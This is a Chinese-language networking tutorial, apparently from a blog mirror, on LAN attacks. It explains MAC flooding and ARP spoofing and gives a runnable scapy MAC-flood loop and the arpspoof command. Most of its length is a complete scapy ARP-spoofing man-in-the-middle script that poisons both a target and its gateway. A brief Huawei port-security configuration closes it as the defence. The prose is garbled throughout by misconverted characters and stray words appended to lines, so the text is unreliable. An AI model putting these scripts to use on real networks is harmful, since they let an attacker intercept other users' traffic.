原理:传统的交换机在数据转发过程当中依靠对CAM表的查询来肯定正确的转发接口,一旦在查询过程当中没法找到相关的目的MAC对应的条目,此数据帧将做为广播帧来处理,CAM表的容量有限,只能存储很少的条目,当CAM表记录的MAC地址达到上限时,新的条目将不会添加到CAM表中。python
基于以上原理,某台PC不断发送去往未知目的地地数据帧,且每一个包地源MAC地址都不一样,当这样地数据包发送地速度足够快以后,快到在刷新时间内将交换机地CAM表迅速填满。CAM表被这些伪造的MAC地址占据,真实的MAC地址条目却没法进入CAM表。那么任何一个通过交换机的正常单播数据帧都会以广播帧的形式来处理。交换机在此状况下被降级为Hub。交换机降级为hub以后,咱们就能够监听全部链接到该交换机的主机的数据了。linux
此攻击可经过kali上一个工具实现:macof,直接在命令行中输入这个命令就能够了网络
#mac泛洪攻击脚本 from scapy.all import * import time iface = 'eth0' try: while 1: randmac = str(RandMAC()) randip = str(RandIP()) packet = Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip) sendp(packet,iface=iface,loop=0) except KeyboardInterrupt: print('/n[+]Stop')
原理:经过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错觉得攻击者更改后的MAC地址是网关的MAC,致使网络不通函数
kali下自带的arpspoof工具 arpspoof -i interface -t ip gateway
注意直接在kali中对物理机使用不通,须要关闭物理机防火墙,且须要是桥接模式工具
利用工具ettercap可实现(kali自带的中间人攻击工具,还支持其它的攻击)
可参考这篇文章 http://topspeedsnail.com/kali-linux-ettercap-arp-spoof-attack/oop
#--*--coding=utf-8--*-- from scapy.all import * import optparse import threading #解决在linux系统上运行时报的unicode编码相关错误 import sys reload(sys) sys.setdefaultencoding('utf-8') def getMac(tgtIP): ''' 调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。 ''' try: tgtMac = getmacbyip(tgtIP) return tgtMac except: print '[-]请检查目标IP是否存活' def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP): ''' 生成ARP数据包,伪造网关欺骗目标计算机 srcMac:本机的MAC地址,充当中间人 tgtMac:目标计算机的MAC gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),造成ARP攻击 tgtIP:目标计算机的IP op=2,表示ARP响应 ''' pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2) return pkt def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP): ''' 生成ARP数据包,伪造目标计算机欺骗网关 srcMac:本机的MAC地址,充当中间人 gatewayMac:网关的MAC tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),造成ARP攻击 gatewayIP:网关的IP op=2,表示ARP响应 ''' pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2) return pkt def main(): usage = 'Usage: %prog -t <targetip> -g <gatewayip> -i <interface> -a' parser = optparse.OptionParser(usage,version='v1.0') parser.add_option('-t',dest='targetIP',type='string',help='指定目标计算机IP') parser.add_option('-g',dest='gatewayIP',type='string',help='指定网关IP') parser.add_option('-i',dest='interface',type='string',help='指定使用的网卡') parser.add_option('-a',dest='allarp',action='store_true',help='是否进行全网arp欺骗') options,args = parser.parse_args() tgtIP = options.targetIP gatewayIP = options.gatewayIP interface = options.interface if tgtIP == None or gatewayIP == None or interface == None: print parser.print_help() exit(0) srcMac = get_if_hwaddr(interface) print '本机MAC地址是:',srcMac tgtMac = getMac(tgtIP) print '目标计算机MAC地址是:',tgtMac gatewayMac = getMac(gatewayIP) print '网关MAC地址是:',gatewayMac raw_input('按任意键继续:') pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP) pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP) i = 1 while True: t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':interface}) t.start() t.join() print str(i) + ' [*]发送一个计算机ARP欺骗包' s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':interface,}) s.start() s.join() print str(i) + ' [*]发送一个网关ARP欺骗包' i += 1 if __name__ == '__main__': main()
将交换机开启Port Security功能,其有以下做用,b功能能够防护arp sproofui
a.MAC Flood 当特定接口设定的MAC table满的时候产生violation
b.当一个MAC地址在同一个VLAN里边的两个不一样接口学到的时候产生violation编码
配置:命令行
1.[Quidway-Ethernet0/0/1]port-security enable
2.[Quidway-Ethernet0/0/1] port-security mac-address sticky
3.[Quidway-Ethernet0/0/1] port-security protect-action protect
4.[Quidway-Ethernet0/0/1] port-security max-mac-num 20rest